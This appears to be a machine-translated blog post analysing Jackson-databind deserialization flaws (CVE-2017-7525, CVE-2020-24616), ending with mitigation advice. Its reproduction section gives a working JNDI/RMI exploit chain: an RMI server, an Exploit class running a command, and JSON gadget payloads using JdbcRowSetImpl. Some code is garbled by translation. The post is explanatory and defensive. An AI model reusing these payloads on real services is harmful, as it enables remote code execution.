preface
Recently, the company internally provided a list of high-risk application vulnerabilities, in which Fastjson and Jackson were mentioned. Because I had known about the deserialization problem caused by fastjson due to polymorphism, I planned to do a simple analysis as well.
Hole is briefly
On August 27, 2020, 360CERT detected that Jackson-Databind issued a risk notification for jackson-Databind serialization vulnerability. The vulnerability number is CVE-2020-24616. Vulnerability level: High-risk, Vulnerability score: 7.5.
Br.com.anteros :A new deserialization exploit chain exists in anteros-DBCP to bypass jackson-Databind blacklist restrictions, and remote attackers can affect remote code execution by sending special request packets to web service interfaces that use this component.
Affected version: FasterXML: Jackson-Databind: <2.9.10.6. This version also fixes the following exploit chains:
- org.arrahtec:profiler-core
- com.nqadmin.rowset:jdbcrowsetimpl
- com.pastdev.httpcomponents:configuration
There is a new chain of deserialization exploits in the package described above that circumvent jackson-Databind blacklist restrictions and allow remote attackers to affect remote code execution by sending tailor-made request packets to web service interfaces that use this component.
Vulnerability analysis
In fact, this vulnerability and Jackson a few years ago exposed another vulnerability (CVE-2017-7525) is the same, is the use of deserialization remote execution code; As for why this problem occurs, in fact, the final analysis is related to polymorphism, the following is a simple analysis;
Polymorphism problems in serialization
The json format we see most often looks something like this:
{"fruit": {"name":"apple"},"mode":"online"}
Copy the code
There is no class information inside, take json string directly through the relevant method to convert the object:
public <T> T readValue(String content, Class<T> valueType)
Copy the code
Cases like this are generally fine, but many businesses have polymorphic requirements, such as the following:
// Fruit interface class
public interface Fruit {}// Buy fruit in the specified way
public class Buy {
private String mode;
private Fruit fruit;
}
// The specific fruit category -- apple
public class Apple implements Fruit {
private String name;
}
// Specific fruit -- bananas
public class Banana implements Fruit {
private String name;
}
Copy the code
You can see that the Buy object here stores Fruit, not a specific Fruit, if you serialize it:
Banana banana = new Banana();
banana.setName("banana");
Buy buy = new Buy("online", banana);
ObjectMapper mapper = new ObjectMapper();
/ / the serialization
String jsonString = mapper.writeValueAsString(buy);
System.out.println("toJSONString : " + jsonString);
// deserialize
Buy newBuy = mapper.readValue(jsonString, Buy.class);
banana = (Banana) newBuy.getFruit();
System.out.println(banana);
Copy the code
Serialization can be successful, as shown below:
{"mode":"online"."fruit": {"name":"banana"}}
Copy the code
“Fruit” is an apple or a banana, so it’s not possible to tell whether fruit is an apple or a banana.
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.jackson.Fruit` (no Creators, like default construct, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information
Copy the code
Faced with this problem, Jackson provides relevant technical support, mainly including the following two kinds:
- Global DefaultTyping mechanism
- Add @jsonTypeInfo to Class
Polymorphic problem support
The global DefaultTyping mechanism is relatively simple and can be solved in a single configuration; The @JsonTypeInfo annotation pattern is relatively cumbersome;
Global DefaultTyping mechanism
Just turn on this configuration for ObjectMapper:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
Copy the code
If the serialization method is executed, the result will look like this:
{"@class":"com.jackson.Buy"."mode":"online"."fruit": {"@class":"com.jackson.impl.Banana"."name":"banana"}}
Copy the code
You can see that the json contains the class information, so that when deserializing, you can identify the specific class, so that the deserialization succeeds.
JsonTypeInfo annotation mode
This mode requires specific processing for each type, which is relatively cumbersome, and we need to do it in the Fruit interface:
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"), @JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {}Copy the code
If it is found to be a subclass of Apple, the character a is used instead; If a subclass Banana is found, the character B is used instead; The serialization results are as follows:
{"mode":"online"."fruit": {"type":"b"."name":"banana"}}
Copy the code
This pattern works by adding the type of the concrete class to the JSON string so that deserialization is also successful;
Vulnerability to reproduce
The above introduces two kinds of Jackson’s solutions to the polymorphic problem. What is the problem? The root of the problem is that the global DefaultTyping mechanism includes class information in the generated JSON string, which creates a backdoor for an attacker to pass in some special classes in the JSON string, causing disastrous consequences for the server. As mentioned above, this problem has already appeared in vulnerability (CVE-2017-7525). A simple simulation can be done here.
CVE – 2017-7525
At that time, the required version is no less than 2.8.9, which is directly used for simulation;
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>Version > 2.8.10</version>
</dependency>
Copy the code
A common attack class is: com. Sun. Rowset. JdbcRowSetImpl, such dataSourceName support into a source of rmi, and then you can set the autocommit automatic connection, perform the rmi method; An RMI class is preferred:
public class RMIServer {
public static void main(String argv[]) {
Registry registry = LocateRegistry.createRegistry(1098);
Reference reference = new Reference("Exploit"."Exploit"."http://localhost:8080/");
registry.bind("Exploit".newReferenceWrapper(reference)); }}Copy the code
The Reference here specifies the class name and the remote address that can be instantiated by loading a class file from a remote server. Prepare the Exploit class, compile it into a class file, and place it on a local HTTP server;
public class Exploit {
public Exploit(a) {
Runtime.getRuntime().exec("calc"); }}Copy the code
Here we do a simple simulation that lets the server call the calculator locally;
With that in mind, the following JSON string to prepare for attack looks like this:
{"@class":"com.sun.rowset.JdbcRowSetImpl"."dataSourceName":"rmi://localhost:1098/Exploit"."autoCommit":true}
Copy the code
Deserialization code is as follows:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase"."true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1098/Exploit\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);
Copy the code
During deserialization, the setDataSourceName method is first executed, and then the dataSourceName property set is automatically connected when setAutoCommit. Finally, relevant operations are performed by the Exploit class. The above programs will tune the calculator locally.
If you upgrade to version 2.8.10 and execute the same code above, the result is as follows:
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Invalid type definition fortype Lcom/sun/rowset/JdbcRowSetImpl; :Illegal type (com.sun.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons
Copy the code
JdbcRowSetImpl has been blacklisted by Jackson. But the blacklist is often incomplete, the follow-up may often expose loopholes, such as this vulnerability;
CVE – 2020-24616
This version before using the same vulnerabilities, we use 2.9.10.5 version, the loophole com. The nqadmin. Rowset. Jdbcrowsetimpl, introduction is as follows:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.5</version>
</dependency>
<dependency>
<groupId>com.nqadmin.rowset</groupId>
<artifactId>jdbcrowsetimpl</artifactId>
<version>1.0.2</version>
</dependency>
Copy the code
Provide json string attacks again:
{"@class":"com.nqadmin.rowset.JdbcRowSetImpl"."dataSourceName":"rmi://localhost:1098/Exploit"."autoCommit":true}
Copy the code
Execute the same code as above, using the json string above, to call up the local calculator as well; To upgrade the version: >2.9.10.6; The result is as follows:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.nqadmin.rowset.JdbcRowSetImpl`: Illegal type (com.nqadmin.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons
Copy the code
Can find com. Nqadmin. Rowset. JdbcRowSetImpl has entered into blacklist.
Bug summary
Similar holes can be found in many json serialization tool, a blacklist of scheme is also relatively temporary, want to completely solve this problem is very difficult, because you never know what will appear after the jar package have the function of remote execution, so the following Jackson serialization tool to do the summary of use;
Do not use DefaultTyping
You can see that the root cause of the problem is DefaultTyping, which causes the class information to appear in the JSON string. In fact, it can be replaced by JsonTypeInfo. It’s a bit of a hassle, but it’s nothing for security;
You can see that DefaultTyping is no longer recommended in new versions of Jackson; this method has been identified as @deprecated
@Deprecated
public ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs) {}Copy the code
Deserialization specifies a concrete class
In fact, we can find these classes in the blacklist, we seldom use, we mostly use some business classes, so we try to use concrete classes in deserialization, do not use Object, as shown in the code above:
objectMapper.readValue(json, Object.class);
Copy the code
If you receive an attack JSON string, the program will check whether the json class information is consistent with the specified class information. If not, the program will not execute:
objectMapper.readValue(json, Banana.class);
Copy the code
Error: deserialize ();
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Missing type id when trying to resolve subtype of [simple type, class com.jackson.impl.Banana] :missing type id property 'type'
Copy the code
Thank you for attention
You can pay attention to the wechat public account “Roll back the code”, read the first time, the article continues to update; Focus on Java source code, architecture, algorithms, and interviews.